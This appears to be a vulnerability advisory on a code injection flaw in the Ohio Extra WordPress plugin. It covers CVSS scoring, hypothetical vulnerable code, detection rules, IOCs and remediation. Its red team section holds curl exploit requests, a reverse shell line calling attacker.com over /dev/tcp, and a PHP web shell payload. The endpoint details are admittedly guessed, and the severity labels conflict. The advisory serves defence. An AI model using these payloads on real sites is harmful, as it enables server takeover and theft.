CVE-2025-26924

Executive Summary

CVE-2025-26924 is a critical Code Injection vulnerability (CWE-94) discovered in the Ohio Extra WordPress plugin by Colabrio, affecting versions up to and including 3.4.7. This vulnerability allows an unauthenticated attacker to inject and execute arbitrary code on the server, leading to full site compromise, data theft, and potential lateral movement within the hosting environment. The vulnerability stems from improper control over the generation of code, likely within a shortcode or AJAX handler that processes user-supplied input without adequate sanitization or validation.

Given that this is a WordPress plugin vulnerability, it is imperative to treat it as a WordPress ecosystem issue. The attack surface is broad, as the plugin is widely used for extending the Ohio theme's functionality. The lack of a known patch at the time of analysis elevates the risk, making immediate mitigation through disabling the plugin or applying virtual patching essential.

Supply Chain & Package Security

This vulnerability resides within a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The supply chain risk is significant: compromised plugin updates could be used to distribute backdoors to thousands of sites. Organizations should verify the integrity of plugin files using checksums and monitor for unauthorized modifications. The absence of a patch from the vendor (Colabrio) means that any site running Ohio Extra <= 3.4.7 is exposed until a fix is released or the plugin is removed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High (due to unauthenticated remote code execution potential, despite the medium CVSS score). The CVSS score may be conservative; actual impact could be critical if the injected code allows full server control.

Deep Dive & Mechanics

The vulnerability is classified as Improper Control of Generation of Code ('Code Injection') (CWE-94). In the context of the Ohio Extra plugin, this likely manifests in one of the following ways:

1. Shortcode Injection: The plugin registers a shortcode (e.g., [ohio_extra_some_function]) that accepts user-controlled attributes. If these attributes are passed to a function like eval(), create_function(), or call_user_func() without proper sanitization, an attacker can inject arbitrary PHP code.
2. AJAX Handler Injection: The plugin exposes an unauthenticated AJAX action that processes user input and uses it in a dynamic code execution context (e.g., preg_replace() with the /e modifier, or assert()).
3. Template Injection: The plugin may include user input in a file path or template name that is then included or required, allowing path traversal and code execution.

The attack flow typically involves:

• Sending a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=ohio_extra_vuln_action&data=...).
• The plugin processes the data parameter and passes it to a dangerous function.
• The injected code is executed on the server, allowing the attacker to run system commands, read/write files, or establish persistence.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common code injection patterns:

Vulnerable Code (hypothetical):

// ohio-extra/includes/shortcodes.php
function ohio_extra_shortcode_handler($atts) {
    $code = $atts['code'];
    eval($code); // Dangerous: user input passed to eval()
    return "Code executed";
}
add_shortcode('ohio_extra_exec', 'ohio_extra_shortcode_handler');

Patched Code (hypothetical):

// ohio-extra/includes/shortcodes.php
function ohio_extra_shortcode_handler($atts) {
    $code = sanitize_text_field($atts['code']); // Sanitize input
    // Instead of eval, use a safe alternative
    return "Code: " . esc_html($code);
}
add_shortcode('ohio_extra_exec', 'ohio_extra_shortcode_handler');

The patch would involve removing all dangerous functions (eval, create_function, assert, preg_replace with /e) and replacing them with safe alternatives like sanitize_text_field(), esc_html(), or whitelist-based validation.

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on a WordPress site running Ohio Extra <= 3.4.7.

Lab Setup:

1. Install WordPress (latest version) on a local or cloud server.
2. Install and activate the Ohio theme and Ohio Extra plugin version 3.4.7.
3. Ensure the plugin is publicly accessible.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common targets include:
   • /wp-admin/admin-ajax.php?action=ohio_extra_vuln_action
   • A shortcode like [ohio_extra_exec code="..."]
2. Craft a payload. For example, if the vulnerability is in an AJAX handler:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
   -d "action=ohio_extra_vuln_action&data=system('id');"
   

3. If the vulnerability is in a shortcode, inject it via a post or comment:

   curl -X POST "http://target.com/wp-comments-post.php" \
   -d "comment=[ohio_extra_exec code='system(\"id\");']&author=test&email=test@test.com&comment_post_ID=1"
   

4. Verify execution by checking the response for the output of the id command.

Advanced Payloads:

• Reverse shell: system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"');
• File upload: file_put_contents('shell.php', '<?php system($_GET["cmd"]); ?>');

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with parameters containing PHP code, system commands, or base64-encoded strings.
• Look for shortcodes in comments or posts that contain suspicious code (e.g., eval, system, exec).
• Use WAF rules to block requests containing eval(, system(, assert(, or preg_replace with /e.

Hunting:

• Search for files in the ohio-extra plugin directory that contain dangerous functions:

  grep -r "eval\|create_function\|assert\|preg_replace.*\/e" /var/www/html/wp-content/plugins/ohio-extra/
  

• Check for unexpected files in the uploads directory or plugin folder.
• Review server logs for requests to admin-ajax.php with unusual action parameters.

Containment:

• Immediately disable the Ohio Extra plugin via the WordPress admin dashboard or by renaming its directory:

  mv /var/www/html/wp-content/plugins/ohio-extra /var/www/html/wp-content/plugins/ohio-extra-disabled
  

• If a patch is unavailable, implement a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block known attack patterns.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious files in /wp-content/plugins/ohio-extra/ (e.g., shell.php, backdoor.php).
• Modified plugin files containing eval(), system(), or base64_decode().
• New files in /wp-content/uploads/ with .php extensions.

Network IOCs:

• Outbound connections to unknown IP addresses on ports 80, 443, or 4444.
• HTTP requests containing system(, exec(, or passthru( in POST data.
• Requests to /wp-admin/admin-ajax.php with action=ohio_extra_* parameters.

Log IOCs:

• PHP error logs showing eval()'d code or unexpected T_STRING.
• Apache/Nginx access logs with POST /wp-admin/admin-ajax.php and a high number of parameters.
• WordPress debug logs indicating failed plugin updates or file modifications.

Detection Engineering

YARA Rule

rule CVE_2025_26924_Ohio_Extra_Code_Injection {
    meta:
        description = "Detects code injection attempts targeting Ohio Extra plugin CVE-2025-26924"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26924"
        severity = "high"
    strings:
        $dangerous_func1 = "eval("
        $dangerous_func2 = "create_function("
        $dangerous_func3 = "assert("
        $dangerous_func4 = "preg_replace("
        $plugin_path = "ohio-extra"
        $ajax_action = "admin-ajax.php"
    condition:
        any of ($dangerous_func*) and $plugin_path and $ajax_action
}

Sigma Rule

title: CVE-2025-26924 - Ohio Extra Plugin Code Injection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit code injection in Ohio Extra plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'ohio_extra'
        cs-uri-query|contains|any:
            - 'eval('
            - 'system('
            - 'exec('
            - 'passthru('
            - 'base64_decode('
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26924 - Ohio Extra Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"ohio_extra"; http_client_body; pcre:"/(eval|system|exec|passthru|base64_decode)\s*\(/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the Ohio Extra plugin until a patch is released.
2. Virtual Patching: Implement WAF rules to block requests containing dangerous PHP functions (e.g., eval(, system() in POST data.
3. File Integrity Monitoring: Use tools like Tripwire or OSSEC to monitor changes to the plugin directory.

Long-Term Fixes:

• Vendor Patch: Await an official update from Colabrio. Monitor their website or the WordPress plugin repository for version 3.4.8 or higher.
• Code Review: If you have access to the source code, manually remove all instances of eval(), create_function(), assert(), and preg_replace() with the /e modifier.
• Alternative Plugin: Consider replacing Ohio Extra with a similar, actively maintained plugin.

General Hardening:

• Keep WordPress core, themes, and plugins updated.
• Use a Web Application Firewall (WAF) like Cloudflare, Sucuri, or ModSecurity.
• Restrict file permissions on the server (e.g., 755 for directories, 644 for files).
• Disable PHP execution in uploads directory via .htaccess:

  <Files *.php>
  deny from all
  </Files>
  

Valters IT
Securing Digital Frontiers